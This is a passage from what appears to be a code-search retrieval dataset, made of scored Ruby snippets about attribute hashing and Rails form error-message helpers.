raw_value_for_attribute(the_spec, attr)\n value = the_spec.attributes_hash[attr.name.to_s]\n value = prepare_value(attr, value)\n\n if attr.multi_platform?\n if platform_hash = the_spec.attributes_hash[platform_name.to_s]\n platform_value = platform_hash[attr.name.to_s]\n platform_value = prepare_value(attr, platform_value)\n value = merge_values(attr, value, platform_value)\n end\n end\n value\n end", "title": "" }, { "docid": "16ba177fb66746c2e66a7b5b91f37d8e", "score": "0.5610835", "text": "def to_hash\n entry_hash = super\n self.class.extended_attribute_list.each do |extended_attribute|\n attribute_value = self.send(extended_attribute)\n if attribute_value.present?\n hash_property_name = extended_attribute.to_s.camelize(:lower)\n if attribute_value.respond_to?(:to_hash)\n entry_hash[hash_property_name] = attribute_value.to_hash\n else\n entry_hash[hash_property_name] = attribute_value\n end\n end\n end\n \n entry_hash\n end", "title": "" }, { "docid": "cbe6e6ec299ff06b21c84689e8c6dd38", "score": "0.56104314", "text": "def get( attribute )\n Marshal.load Jormungandr.redis.hget(_key, attribute) rescue nil\n end", "title": "" }, { "docid": "d5fdce95524a0b60ef9583e19d13efa9", "score": "0.56063175", "text": "def custom_attribute_value(id)\n ca = custom_attribute(id)\n ca ? ca.attribute_value : nil\n end", "title": "" }, { "docid": "73c6baa3e4951d83a158cd013336a6b1", "score": "0.5594801", "text": "def json_attribute_get(instance, name)\n default_attribute_get(instance, name)\n end", "title": "" }, { "docid": "640a6b1390c725fe03b25c6e91583025", "score": "0.5594074", "text": "def hash\n self.id.hash\n end", "title": "" }, { "docid": "01924cf5a041a173227ec26cc6ae0578", "score": "0.559287", "text": "def get_attributes()\n\t\treturn self.get(\"attribute\",\"\")\n\tend", "title": "" }, { "docid": "3999142ddc4e684d6c471091b4f55c2d", "score": "0.5590022", "text": "def attribute_value(row,attribute)\n row[attribute.to_s]\n end", "title": "" }, { "docid": "23ec52bcf885366f12e833fc292cead8", "score": "0.55875474", "text": "def attribute_value(row,attribute)\n row\n end", "title": "" }, { "docid": "b2d1ae935f0bbaa635d9db850ef0bab8", "score": "0.5582583", "text": "def result\n calling_mapper.for(Property.new(value.key, \"id-#{value.value.id}\")).result\n end", "title": "" }, { "docid": "7f5ce01179b906c393585a16a21423b9", "score": "0.5575622", "text": "def to_h\n self.class.attributes.each_with_object({}) do |attribute, obj|\n next if attribute.condition && !public_send(attribute.condition)\n\n obj[attribute.key] = ValueFetcher.fetch(attribute, object, self)\n end\n end", "title": "" }, { "docid": "a48f047b05d93ebe6eb76d4723a533a7", "score": "0.5573234", "text": "def hash\n id = self.id\n\n if primary_key_values_present?\n self.class.hash ^ id.hash\n else\n super\n end\n end", "title": "" }, { "docid": "4b49a8a4f2ff92622715d283252dc7c5", "score": "0.55707824", "text": "def returned_hash\n self.hash\n end", "title": "" }, { "docid": "563ccabbf14d88f93b511ce39c3fd605", "score": "0.5559767", "text": "def attributes\n self.class.serializable_attributes.inject({}) do |h,field|\n value=self.send(field)\n h[field]=value if value\n h\n end\n end", "title": "" }, { "docid": "ef3ba5122690dadc105c2947c3d9c9b6", "score": "0.5549082", "text": "def hash\n self.to_s.hash\n end", "title": "" }, { "docid": "c17db275cfb62989079c1c720f51f16b", "score": "0.55390215", "text": "def to_value_data\n stateful_attributes_as_json.merge(\n attributes.slice('key')\n )\n end", "title": "" }, { "docid": "bc2fd96c849c6b4439116674ff93736f", "score": "0.5531193", "text": "def attr_hash\n Hash[attributes.map {|k, v| [k.to_s, v.to_s]}]\n end", "title": "" }, { "docid": "f5e7793b6182a8ff38857d715d8cc0b2", "score": "0.55292064", "text": "def to_hash\n @attributes.to_hash\n end", "title": "" }, { "docid": "e2fd421deb0dd8df6c5868d1724aaea6", "score": "0.55289716", "text": "def method_missing(mid, *args)\n if has_attribute?(mid)\n super\n else\n value(mid)\n end\n end", "title": "" }, { "docid": "45d30e6346ca6e9be15d757df87ae8dc", "score": "0.55285954", "text": "def attributes\n hash = super\n temp = {\n \"guid\" => @guid\n }\n hash.merge(temp)\n end", "title": "" }, { "docid": "14de1125d4f187a448e44cd6be71c362", "score": "0.5527353", "text": "def value_for_attribute(a, through_association = false)\n v = if a[:getter]\n a[:getter].call(self)\n elsif respond_to?(\"#{a[:name]}\")\n send(\"#{a[:name]}\")\n elsif is_association_attr?(a)\n split = a[:name].to_s.split(/\\.|__/)\n assoc = self.class.reflect_on_association(split.first.to_sym)\n if through_association\n split.inject(self) do |r,m| # TODO: do we really need to descend deeper than 1 level?\n if r.respond_to?(m)\n r.send(m)\n else\n logger.debug \"!!! Netzke::Basepack: Wrong attribute name: #{a[:name]}\" unless r.nil?\n nil\n end\n end\n else\n self.send(\"#{assoc.options[:foreign_key] || assoc.name.to_s.foreign_key}\")\n end\n end\n\n # a work-around for to_json not taking the current timezone into account when serializing ActiveSupport::TimeWithZone\n v = v.to_datetime.to_s(:db) if v.is_a?(ActiveSupport::TimeWithZone)\n v\n end", "title": "" }, { "docid": "012958bf60f3aaab76bafe133ca6f9b2", "score": "0.55206335", "text": "def to_hash\n self.attributes\n end", "title": "" }, { "docid": "3892bbac860a970ee0d978b9dba6f786", "score": "0.55142474", "text": "def serializable_hash\n data = super\n\n if data[:data].is_a? Hash\n data[:data][:attributes]\n elsif data[:data].is_a? Array\n data[:data].map{ |x| x[:attributes] }\n elsif data[:data] == nil\n nil\n else\n data\n end\n end", "title": "" } ]
741e2b5ba59aa5bdf8af2f9922f3858c
Html safe error messages of the current entry.
[ { "docid": "4f9608142c2ff537fa06ca26d79de91a", "score": "0.79006726", "text": "def error_messages\n escaped = entry.errors.full_messages.map { |m| ERB::Util.html_escape(m) }\n escaped.join('<br/>').html_safe\n end", "title": "" } ]
[ { "docid": "bbef6e92a0ee9f6336ddddc98ccb0de4", "score": "0.737645", "text": "def format_error ins\r\n ins.errors.nil?? \"\" : ins.errors.messages.map{|k,v| \"#{k}:#{v.uniq[0]}\"}.join(\"<br>\")\r\n end", "title": "" }, { "docid": "bbef6e92a0ee9f6336ddddc98ccb0de4", "score": "0.737645", "text": "def format_error ins\r\n ins.errors.nil?? \"\" : ins.errors.messages.map{|k,v| \"#{k}:#{v.uniq[0]}\"}.join(\"<br>\")\r\n end", "title": "" }, { "docid": "92389b4b5a4f495fe15093d21ab0eadc", "score": "0.69887334", "text": "def display_errors(errors)\n str = \"\".html_safe \n str += \"<div id='errorMsgDiv'>Please correct the following errors:<br/>\".html_safe if errors.full_messages.size > 0\n errors.full_messages.each do |msg|\n str += \"<li>#{msg}</li>\".html_safe\n end\n str += \"</div>\".html_safe if errors.full_messages.size > 0\n end", "title": "" }, { "docid": "106a1800ef388367bffc21301a828cf9", "score": "0.69235843", "text": "def errors_html_for(attr)\n return '' unless object.respond_to? :errors\n return '' if attr.nil? || object.errors[attr].empty?\n\n @template.content_tag :span, class: 'form-error is-visible' do\n # For some reason, :get breaks controller tests, so use :messages.\n messages = object.errors.messages[attr] || []\n messages.join ', '\n end\n end", "title": "" }, { "docid": "fe051199255121cfde3a7eb84c54a59a", "score": "0.6912186", "text": "def error_messages_for_message(message)\n if message and !message.errors.empty? \n str = '<div style=\"margin:5px;color:red;border:1px solid red;\">'\n message.errors.each do |key, val|\n str += '<b> * '+ key.to_s.capitalize + '</b>: '+ val +' <br/>'\n end \n str += '</div>'\n end\n str.html_safe unless str.blank?\n end", "title": "" }, { "docid": "11054fb3a8e133f555095deb6768bb3e", "score": "0.6884055", "text": "def error_flash(msg)\n \"<span class='error'>#{ERB::Util.html_escape msg}</span>\".html_safe\n end", "title": "" }, { "docid": "e9b346a2d2f41e7573bf081958c58e6b", "score": "0.685766", "text": "def error_messages!\n return \"\" if resource.errors.empty?\n\n messages = resource.errors.full_messages.map { |msg| content_tag(:p, msg) }.join\n\n html = <<-HTML\n <div class=\"alert\">\n <ul>#{messages}</ul>\n </div>\n HTML\n\n html.html_safe\n end", "title": "" }, { "docid": "2185fe7f0bd547470191831315b3da0d", "score": "0.6793054", "text": "def get_error_message\n error_msg = \"\"\n \n self.errors.full_messages.each do |msg|\n if error_msg != \"\"\n error_msg << \"<br>\"\n end\n error_msg << msg\n end\n\n error_msg\n end", "title": "" }, { "docid": "19c8ce62ae231f976563ca7cfaa612cc", "score": "0.6791656", "text": "def show_error_validation object\n if object.errors.any?\n str=''\n object.errors.full_messages.each do |msg|\n str +=\"<span class='red'>#{msg}</span>\"\n end\n return str\n end\n end", "title": "" }, { "docid": "e41421365e63862efeb532e61008e3b1", "score": "0.67472684", "text": "def error_messages\n unless @object.errors.count.zero?\n attributes_with_errors = @object.errors.map { |attribute, _| attribute } - ['base']\n content_tag(:p, :class => 'errors') do\n if attributes_with_errors.size > 1\n concat \"Sorry, there were problems with the #{attributes_with_errors.to_sentence}.\"\n elsif attributes_with_errors.size == 1\n concat \"Sorry, there was a problem with the #{attributes_with_errors.first}.\"\n else\n concat \"#{@object.class} #{@object.errors.on(:base)}.\"\n end\n end\n else\n ''\n end\n end", "title": "" }, { "docid": "2b9371b85e9e5dc5297fe13669df0943", "score": "0.66862893", "text": "def error_html(errors)\n html = \"<b><u>Error!</u></b><br/>\"\n for error in errors\n html += \"#{error[0].capitalize.humanize} #{error[1]}<br/>\"\n end\n return html\n end", "title": "" }, { "docid": "4d47231aa3c5b793f0f14043a861a74e", "score": "0.6679745", "text": "def error_messages(resource_name: , resource: , separator:)\n sanitize_and_translate(\n resource_name: resource_name ,\n resource:resource,\n given_messages: reject_notice_messages(messages: messages)\n ).flatten.join(separator).html_safe\n end", "title": "" }, { "docid": "c8c8a8eaf1e28a0b440b88ccfa1f2695", "score": "0.6676544", "text": "def html_errors\n if errors.present?\n content_tag :ul, errors.collect {|error| content_tag(:li, h(error))}.join, :class => \"errors\"\n end\n end", "title": "" }, { "docid": "685d67e5a595bef0fc4012c68aec5aeb", "score": "0.66633534", "text": "def form_errors\n return '' if errors.empty?\n\n messages = errors.full_messages.map { |msg| content_tag(:li, msg) }.join\n sentence = I18n.t('errors.messages.not_saved',\n count: errors.count,\n resource: self.class.model_name.human.downcase)\n\n html = <<-HTML\n <div id='errors' class='alert alert-danger left'>\n <p class='bold'>#{sentence}</p>\n <ul>#{messages}</ul>\n </div>\n HTML\n\n html.html_safe\n end", "title": "" }, { "docid": "90352920619245b9c29b880aef559bd1", "score": "0.66463", "text": "def error_message\n\t\t\tif @publication.errors.any?\n message = '<div id=\"error_explanation\"> ' +\n '<h2>' + @publication.errors.count.to_s + ' error(es) tratando de grabar la publicación:</h2> <ul>'\n @publication.errors.full_messages.each do |msg|\n message = message + '<li>'+ msg +'</li>'\n end\n message = message + '</ul>\t</div> '\n message.html_safe\n end\n end", "title": "" }, { "docid": "9c549029e4495995f0c779d49c1c58fe", "score": "0.66456777", "text": "def error_message\n if @errors\n @errors.map { |(k,v)|\n \"#{k} #{v.join(',')}\"\n }.join(\"; \")\n end\n end", "title": "" }, { "docid": "ab5982101fff87aa5c5b51ba5764e5cc", "score": "0.66365695", "text": "def get_errors_for(object) #format errors\n if object.errors\n @string = \"<div class=\\\"flash_failure\\\">There was a problem! Details:<br>\"\n object.errors.each do |error, message|\n @string += \"&nbsp;&nbsp;&nbsp;(#{error}) : #{message}<br>\"\n end\n @string += \"</div>\"\n return @string\n end\n end", "title": "" }, { "docid": "3f3635faaaa69b553191d8ee89b27e6f", "score": "0.66167176", "text": "def create_error_message_html(errors_arr)\n\t\tproblem_html = \"The following errors prevented the question from being saved:\\n<ul>\"\n\t\tfor i in errors_arr\n\t\t\tproblem_html += \"<li>\" + i.to_s + \" \" + errors_arr[i][0] + \"</li>\"\n\t\tend\n\t\tproblem_html += \"</ul>Please correct the form and press 'Save' again.\"\n\t\treturn problem_html\n\tend", "title": "" }, { "docid": "65128389555062487f0ff8f11004b2f6", "score": "0.65571696", "text": "def errors_for(resource)\n rc = \"\"\n if resource.errors.any?\n rc += \"<div id='error_explanation'>\"+\n \"<h2>\"+\n t(:errors, :count => resource.errors.count) + \": \" +\n t(:prohibited_this_resource_from_being_saved, :resource => t(resource.class.to_s.downcase.to_sym)) +\n \"</h2>\"+\n \"<ul>\" +\n resource.errors.full_messages.map { |msg|\n \"<li><b>\"+ msg.split(\" \",2)[0] + \"</b>: \" + msg.split(\" \",2)[1] +\"</li>\"\n }.join\n if defined? resource.attachments\n rc += \"<ul>\" +\n resource.attachments.map { |p|\n p.errors.map { |error|\n \"<li>\" + p.errors[error].join(\", \".html_safe) + \"</li>\"\n }.join\n }.join +\n \"</ul>\"\n end\n rc += \"</ul></div>\"\n rc.html_safe\n end\n\n end", "title": "" }, { "docid": "98aba8df22df594ff4e62a4102c65ed7", "score": "0.6493728", "text": "def ajax_error_messages(resource_key)\n return \"\" if resource_key.blank?\n html = <<-HTML\n <span class=\"label label-important\">#{t(resource_key)}#{t('error_ajax')}</span>\n HTML\n html.html_safe\n end", "title": "" }, { "docid": "01f384ce8fc547c85c07e59c757f1015", "score": "0.6484356", "text": "def model_errors(model)\n result = \"\"\n if model.errors.any?\n result = \"<div class='alert alert-danger'>#{model.errors.full_messages.join('<br>')}</div>\".html_safe\n end\n result\n end", "title": "" }, { "docid": "b9f5f1e6aad57ddcdc04c693751494a6", "score": "0.6481065", "text": "def missing_field( err = 'none', color: '#d2d2d2' )\n \"<em style='color: #{color};'>(#{err})</em>\".html_safe\n end", "title": "" }, { "docid": "f0b404da91d3a601917b9d31f9669086", "score": "0.6471851", "text": "def get_error_HTML(errors=[])\n\t\tproblem_html = \"\"\n\t\tunless errors.empty?\n\t\t\tproblem_html = \"<div style='border: 4px solid red; background-color:#ecc5b8; padding:5px; color:black; margin:5px;'><strong>The following errors have occurred:</strong><br/><br/><ul style='list-style-type:disc;margin-left:20px;'>\"\n\t\t\terrors.each do |e|\n\t\t\t\tproblem_html += \"<li>#{e}</li>\"\n\t\t\tend\n\t\t\tproblem_html += \"</ul><br/><br/></div>\"\n\t\tend\n\t\treturn problem_html\n\tend", "title": "" }, { "docid": "32ffebf9eb3efc5ebcdc1aeec26a7193", "score": "0.64670324", "text": "def error_message(attribute)\n unless @object.errors.on(attribute).blank?\n content_tag(:p, :class => 'notice') do\n concat ERB::Util.html_escape(@object.errors.on(attribute).mb_chars.capitalize)\n end\n else\n ''\n end\n end", "title": "" }, { "docid": "50ee1eae52061558163aa7eb9665f84a", "score": "0.64590776", "text": "def error_messages(resource)\n return \"\" if resource.blank? || resource.errors.blank? #resource.errors.empty?\n messages = resource.errors.full_messages.map { |msg| content_tag(:li, msg) }.join\n html = <<-HTML\n <div class=\"alert alert-block alert-error\">\n <a class=\"close\" data-dismiss=\"alert\">&times;</a>\n <h4 class=\"alert-heading\">#{t('error_title')}</h4>\n <ul>#{messages}</ul>\n </div>\n HTML\n html.html_safe\n end", "title": "" }, { "docid": "ae963128d5739bace2f5bb12949de0d8", "score": "0.6441337", "text": "def errors_for(errors)\n ::Errors2Html.to_html(errors)\n end", "title": "" }, { "docid": "1497071580041ac96e78df316e01f261", "score": "0.6436911", "text": "def errors_string\n getErrors.map { |e| \"(#{e.object || ''}): #{e.error}\" }.join(', ').strip\n end", "title": "" }, { "docid": "02bf1d0b3fc891128331abbc4592d02c", "score": "0.6409551", "text": "def message\n errors.join(\"\\n\")\n end", "title": "" }, { "docid": "303d26751789766a860acac54bf9b089", "score": "0.640488", "text": "def error_message\n object.error_message.truncate(180, omission: \"\\u2026\")\n end", "title": "" }, { "docid": "58bc653db2c4a046d4f66d87298e5c6e", "score": "0.64005196", "text": "def error_message\n return @error_message\n end", "title": "" }, { "docid": "1d9238213c6f12edcafc5b983989270c", "score": "0.63911206", "text": "def error_message; end", "title": "" }, { "docid": "1dae775eaa3dae625bbdb10c66a58ea3", "score": "0.6388846", "text": "def error_message\n self[:error_message]\n end", "title": "" }, { "docid": "4b98a20f9268438f5a3047271fb4d729", "score": "0.63836545", "text": "def error_message_on(object, field, options={})\n error = Array(resolve_object(object).errors[field]).first\n return SafeBuffer.new unless error\n options = { :tag => :span, :class => :error }.update(options)\n tag = options.delete(:tag)\n error = [options.delete(:prepend), error, options.delete(:append)].compact.join(\" \")\n content_tag(tag, error, options)\n end", "title": "" }, { "docid": "0561a121dee6c49c54ce241444043c61", "score": "0.63804555", "text": "def error_message\n error.message\n end", "title": "" }, { "docid": "f3e6a17b7c9e7590ccdb05e1724b202f", "score": "0.63763124", "text": "def message_for_display\n issue_url = nil\n if issue_key\n issue_url = Settings.rcm_jira_issue_url % issue_key\n end\n\n [error_cause, issue_url].reject(&:blank?).join(\"\\n\")\n end", "title": "" }, { "docid": "a61a48dbf4402396d926864a1089cc2b", "score": "0.6345571", "text": "def error_messages(object)\n return '' if object.errors.empty?\n content_tag('div',\n content_tag('ul', object.errors.collect {|attr_name, msg|\n content_tag('li', msg)}),\n { :class => 'errorExplanation' })\n end", "title": "" }, { "docid": "322807c14e6a195e6309ec574441d5b3", "score": "0.6336463", "text": "def message\n msg = \"Format error found in %s tuple: %s\" % [@identifier, @invalid_data.inspect]\n return msg\n end", "title": "" }, { "docid": "eda5fca9558baf9f8e04b44aab575da0", "score": "0.63288265", "text": "def bold_error(*args); end", "title": "" }, { "docid": "5f55f03a4e67a3de3537b21631b6c0af", "score": "0.63200843", "text": "def errors_for(resource)\n rc = \"\"\n if resource.errors.any?\n rc += \"<div class='wpcf7-validation-errors'>\"+\n \"<h2>\"+\n t(:errors, :count => resource.errors.count) + \": \" +\n t(:prohibited_this_resource_from_being_saved, :resource => t(resource.class.to_s.downcase.to_sym)) +\n \"</h2>\"+\n \"<ul>\" +\n resource.errors.full_messages.map { |msg|\n \"<li><b>\"+ msg.split(\" \",2)[0] + \"</b>: \" + msg.split(\" \",2)[1] +\"</li>\"\n }.join\n if defined? resource.attachments\n rc += \"<ul>\" +\n resource.attachments.map { |p|\n p.errors.map { |error|\n \"<li>\" + p.errors[error].join(\", \".html_safe) + \"</li>\"\n }.join\n }.join +\n \"</ul>\"\n end\n rc += \"</ul></div>\"\n rc.html_safe\n end\n\n end", "title": "" }, { "docid": "9c7fd8ee51d99b5cfeff367806be5ed7", "score": "0.6299271", "text": "def devise_error_messages!\n return \"\" if resource.errors.empty?\n\n messages = resource.errors.full_messages.map { |msg| content_tag(:li, msg) }.join\n sentence = I18n.t(\"errors.messages.not_saved\",\n :count => resource.errors.count,\n :resource => resource.class.model_name.human.downcase)\n\n html = <<-HTML\n <div id=\"error\">\n <strong>#{sentence}</strong>\n <ul>#{messages}</ul>\n </div>\n HTML\n\n html.html_safe\n end", "title": "" }, { "docid": "071718e203690c0454fbb8b268639673", "score": "0.62955606", "text": "def devise_error_messages!\n return \"\" if resource.errors.empty?\n\n messages = resource.errors.full_messages.map { |msg| content_tag(:li,\"* \".msg) }.join\n sentence = I18n.t(\"errors.messages.not_saved\",\n :count => resource.errors.count,\n :resource => resource.class.model_name.human.downcase)\n\n html = <<-HTML\n <div id=\"error_explanation\">\n <div class=\"alert alert-error\">\n #{sentence}\n </div>\n <ul>#{messages}</ul>\n </div>\n HTML\n\n html.html_safe\n end", "title": "" }, { "docid": "31f09fdfab1f07f8c82bef7c05cfc3af", "score": "0.62861216", "text": "def field_with_errors(html_tag, instance)\n errors = instance.error_message.flatten\n\n if errors.length == 1\n error_content = content_tag(:span) { errors[0] }\n else\n error_content = content_tag(:ul) do\n safe_join(errors.map{ |e| content_tag(:li, e) })\n end\n end\n\n safe_join([\n content_tag(:div, :class => 'field_with_errors') { html_tag },\n content_tag(:div, :class => 'field_errors') { error_content },\n ])\n end", "title": "" }, { "docid": "6c56291ee7af72c7025f3a76fdd8a1ed", "score": "0.6261572", "text": "def render_error\n error = error_message.dup\n if !paginated?\n error << @prompt.cursor.prev_line\n error << @prompt.cursor.forward(render_footer.size)\n end\n error\n end", "title": "" }, { "docid": "48a2a1d18e2deea3d369cf7f2c068cc9", "score": "0.6243913", "text": "def object_error_messages(resource, *attrs)\n attrs = [attrs] unless attrs.is_a? Array\n attrs |= [:base]\n\n return \"\" unless object_error_messages?(resource, *attrs)\n\n messages = resource.errors.to_hash(true).slice(*attrs).each_value.map do |msg_array|\n msg_array.map do |msg|\n content_tag(:li, msg)\n end\n end.join\n\n html = if block_given?\n yield messages\n else\n <<-HTML\n <div class=\"text-danger rails-bootstrap-forms-error-summary\">\n <ul>#{messages}</ul>\n </div>\n HTML\n end\n\n html.html_safe\n end", "title": "" }, { "docid": "48a2a1d18e2deea3d369cf7f2c068cc9", "score": "0.6243913", "text": "def object_error_messages(resource, *attrs)\n attrs = [attrs] unless attrs.is_a? Array\n attrs |= [:base]\n\n return \"\" unless object_error_messages?(resource, *attrs)\n\n messages = resource.errors.to_hash(true).slice(*attrs).each_value.map do |msg_array|\n msg_array.map do |msg|\n content_tag(:li, msg)\n end\n end.join\n\n html = if block_given?\n yield messages\n else\n <<-HTML\n <div class=\"text-danger rails-bootstrap-forms-error-summary\">\n <ul>#{messages}</ul>\n </div>\n HTML\n end\n\n html.html_safe\n end", "title": "" }, { "docid": "017d7075f474d5cf24878663b73a92b7", "score": "0.6241252", "text": "def to_s(value)\n \"#{@errors.inspect}\"\n end", "title": "" }, { "docid": "5a1145490a3a6ff49e31f292e15b72b0", "score": "0.62397367", "text": "def error_string\n # This method should be overridden\n end", "title": "" }, { "docid": "7a016628c214b5335ff7b1d792673be2", "score": "0.6231739", "text": "def error_on(attr, options)\n errors = @object.errors[attr]\n return nil unless errors\n\n errors = errors.to_sentence if errors.respond_to?(:to_sentence)\n\n @template.content_tag 'div',\n \"#{options[:label] || attr.to_s.humanize} #{errors}.\",\n :class => 'field_error'\n end", "title": "" }, { "docid": "5430a0d8751752cdc0fcc7065ab9da43", "score": "0.6223307", "text": "def error_messages; end", "title": "" }, { "docid": "f0acaefe687f6125596ef66e0cfa9630", "score": "0.6209169", "text": "def unexpected_error(format)\n msg = \"Hi #{@user.first_name},\"\n msg << \"\\n\\n\"\n msg << 'Something weird and unexpected happened when you tried posting to MindHub via an '\n msg << \"email. The site is automatically sending this email out to let you know, and it's \"\n msg << 'CCing the site Admins so they can look into what happened. In the meantime, '\n msg << \"take a look at the #{faq_link_for(format)} and make sure you follow the rules \"\n msg << 'for posting via email.'\n msg << \"\\n\\n\"\n msg << \"We're sorry this happened and if this is our fault, will try to fix this ASAP! \"\n msg << \"Here's what you tried posting:\"\n msg << \"\\n\"\n\n msg\n end", "title": "" }, { "docid": "aa4c2d958b3e5898d0facf4fcf1c71ed", "score": "0.61987835", "text": "def format_error(error)\n msgstr = <<END_OF_MESSAGE\n<p><b>#{ERRORPREFIX}</b></p>\n<p><i>#{error}</i></p>\nEND_OF_MESSAGE\n end", "title": "" }, { "docid": "e733cd2bf8bf420633b6b5c881910b48", "score": "0.61895907", "text": "def error_msg\n name\n end", "title": "" }, { "docid": "1e90cc6df58f8f183672ef0b731e61cd", "score": "0.61726886", "text": "def error_message (errors)\n\tmessage = \"\"\n\terror_array = errors.split\n\n\terror_array.each do |error|\n\t\tcase error\n\t\twhen \"name\"\n\t\t\tmessage += \"Invalid Name \\n\"\n\t\twhen \"email\"\n\t\t\tmessage += \"Invalid Email \\n\"\n\t\twhen \"dup\"\n\t\t\tmessage += \"Duplicate Name \\n\"\n\t\twhen \"bName\"\n\t\t\tmessage += \"Invalid Business Name \\n\"\n\t\tend\n\tend\n\t\n\treturn message\nend", "title": "" }, { "docid": "cd9a9c65f262c8dfe98890456513ea66", "score": "0.61703926", "text": "def to_display_without_style\n \"Admin Alert: #{self.message}\".html_safe\n end", "title": "" }, { "docid": "fb1bd0044844114dcef53a8917f26388", "score": "0.61674786", "text": "def error_list(obj)\n\t\tcontent_tag :ul do\n\t\t\tobj.errors.full_messages.collect {|err| concat(content_tag(:li, err))}\n\t\tend\n\tend", "title": "" }, { "docid": "bd35b7f501817710beaeee90000097a6", "score": "0.61621976", "text": "def show_error_on( attr_sym, object )\n if !object.errors or !object.errors.on(attr_sym)\n return nil\n end\n string = \"<ul class='errMsg'>\"\n \n for error in object.errors.on(attr_sym)\n string = string + \"<li>\"\n string = string + error\n string = string + \"</li>\"\n end\n \n string = string + \"</ul>\"\n # string = string + link_to(\"somewhere\", \"http://google.com\")\n return string\n end", "title": "" }, { "docid": "b5a25a301e7b017a32a2b7bce9f57348", "score": "0.6154353", "text": "def contact_errors\n error \"name\"\n error \"age\"\n error \"homepage\"\n end", "title": "" }, { "docid": "4a69a3870bae088489fcd191b0ad25b9", "score": "0.6138722", "text": "def errors_for_params\n errors.collect{ |error| \"{code:#{error.code}, message:'#{CGI.escape error.message}'}\" }.join(\", \")\n end", "title": "" }, { "docid": "d96bfc116d2f095813388c817c3069bc", "score": "0.6134983", "text": "def error_message(message)\n Format(:red, bold_message(message))\n end", "title": "" }, { "docid": "b2c9c6b12502362420d251c696e708c5", "score": "0.61086553", "text": "def error_messages\n @template.error_messages_for(object)\n end", "title": "" }, { "docid": "f8cd099a214b49c36e36c374e5131d31", "score": "0.6107775", "text": "def message\n \"#{super}:\\n#{errors_message}\"\n end", "title": "" }, { "docid": "1282f824819e2a2fa89a3ef5f05f60c4", "score": "0.61054134", "text": "def error_messages_to_s(errors)\n text = '<br>'\n errors.each do |_field, message|\n text = text + message.to_s + '.<br>'\n end\n text\n end", "title": "" }, { "docid": "1282f824819e2a2fa89a3ef5f05f60c4", "score": "0.61054134", "text": "def error_messages_to_s(errors)\n text = '<br>'\n errors.each do |_field, message|\n text = text + message.to_s + '.<br>'\n end\n text\n end", "title": "" }, { "docid": "c2c75ed7c09f6d8645c2625f8180e404", "score": "0.6104429", "text": "def display_base_errors(resource)\n # this work return resource.errors.full_messages\n return unless resource\n return '' if (resource.errors.empty?) or (resource.errors[:base].empty?)\n messages = resource.errors[:base].map { |msg| content_tag(:p, msg) }.join\n html = <<-HTML\n <div class=\"alert alert-error alert-block\">\n <button type=\"button\" class=\"close\" data-dismiss=\"alert\">&#215;</button>\n #{messages}\n </div>\n HTML\n html.html_safe\n end", "title": "" }, { "docid": "c745fd59758091d23b8ad80529febe6e", "score": "0.6089722", "text": "def error_messages_for(object)\n if object.errors[:base].any?\n message = object.errors[:base].first\n %{<div class=\"text-danger\">#{message}</div>}.html_safe\n end\n end", "title": "" }, { "docid": "43a682f2a61377e67944ecc64b0293c0", "score": "0.6082872", "text": "def errores_listado\n if self.errores.to_i > 0\n \"<span class=\\\"error b\\\">#{self.errores}</span>\"\n else\n errores\n end\n end", "title": "" }, { "docid": "df6265dcd32e3e6e5418b12279744669", "score": "0.6076183", "text": "def message\n @errormsg\n end", "title": "" }, { "docid": "0243d95bb59c6489350bdff4ea3d62ba", "score": "0.6066388", "text": "def error_message(obj)\n obj.errors.full_messages.join(',')\n end", "title": "" }, { "docid": "49035d79e10a5046866fa5de59f5ac4b", "score": "0.60593843", "text": "def error_messages_for(object_name)\n object = instance_variable_get(\"@#{object_name}\") \n if object\n msg = \"\" \n puts \"================\"\n puts object.errors.inspect\n object.errors.each do | attr, msg| \n msg = content_tag(:p, Column[attr]+msg) \n break\n end \n end \n content_tag(:div, msg, :id => \"errorExplanation\") unless msg.blank?\n end", "title": "" }, { "docid": "89359dbab3e132c74c5a1b9252b477e7", "score": "0.60561454", "text": "def semantic_errors(*args)\n html_options = args.extract_options!\n args = args - [:base]\n full_errors = args.inject([]) do |array, method|\n attribute = localized_string(method, method.to_sym, :label) || humanized_attribute_name(method)\n errors = Array(@object.errors[method.to_sym]).to_sentence\n errors.present? ? array << [attribute, errors].join(\" \") : array ||= []\n end\n full_errors << @object.errors[:base]\n full_errors.flatten!\n full_errors.compact!\n return nil if full_errors.blank?\n html_options[:class] ||= \"errors\"\n template.content_tag(:div, html_options) do\n Formtastic::Util.html_safe(full_errors.map { |error| template.content_tag(:p, Formtastic::Util.html_safe(error), :class => \"error\") }.join)\n end\n end", "title": "" }, { "docid": "b8ba707179e8cfb45acc1b498e88b80f", "score": "0.6046686", "text": "def render_errors(form)\n return nil if form.nil?\n provide(@target = form)\n return (render \"shared/error_messages\").html_safe\n end", "title": "" }, { "docid": "70467fa7959bd1601a981359edb235d1", "score": "0.6043401", "text": "def error_message_field\n { :tag => 'span', :attributes => { :class => 'fielderror' } }\n end", "title": "" }, { "docid": "a713337c24845b54827dcce58860ebbc", "score": "0.6016877", "text": "def flash_error\n err = \"\"\n self.errors.messages.each {|name, value|\n err += value[0]\n }\n err\n end", "title": "" }, { "docid": "1ab22ab7f75a0ddd0064ea63ffe5e6d3", "score": "0.60142654", "text": "def input_with_errors\n @input_html + @help_html + @errors_html\n end", "title": "" }, { "docid": "638a5f843f3d35fa46baa7970e494003", "score": "0.6011412", "text": "def inline_validation model, field\n return \"\" if model.errors[field].blank?\n\n errors = model.errors[field].join(', ')\n html = <<-HTML\n <div class=\"field_with_errors\">\n <span class=\"help-inline\">#{errors}</span>\n </div>\n HTML\n html.html_safe\n end", "title": "" }, { "docid": "40e89cb26bc73730f36cc429d37d6275", "score": "0.60078543", "text": "def error_message\n @data[\"message\"]\n end", "title": "" }, { "docid": "6d4306e16ebe55e3fbebaf4ac059b0b6", "score": "0.6000917", "text": "def format_error_message( msg, count = nil, singular = nil, *rest )\n return super unless msg.is_a?( Symbol ) and r18n\n if limit = count and singular\n limit = t.form_input.units[ singular, count ].to_s\n end\n text = t.form_input.errors[ msg, *limit, self ].to_s\n super( text )\n end", "title": "" }, { "docid": "05d9f5ed7aa258c6357ac7e3a2f33080", "score": "0.5996478", "text": "def errors\n\t\t@errors.join(', ')\n end", "title": "" }, { "docid": "d4a558cbba7713d657ff0519335d6347", "score": "0.59792906", "text": "def bonsai_form_error(f)\n unless f.object.errors.empty?\n html = content_tag('h4', 'Exiten errores en el formulario')\n unless f.object.errors[:base].empty?\n html << \"<dl>#{ f.object.errors[:base].inject(\"\") { |t, v| t << \"<dd>#{v}</dd>\" } }</dl>\".html_safe\n 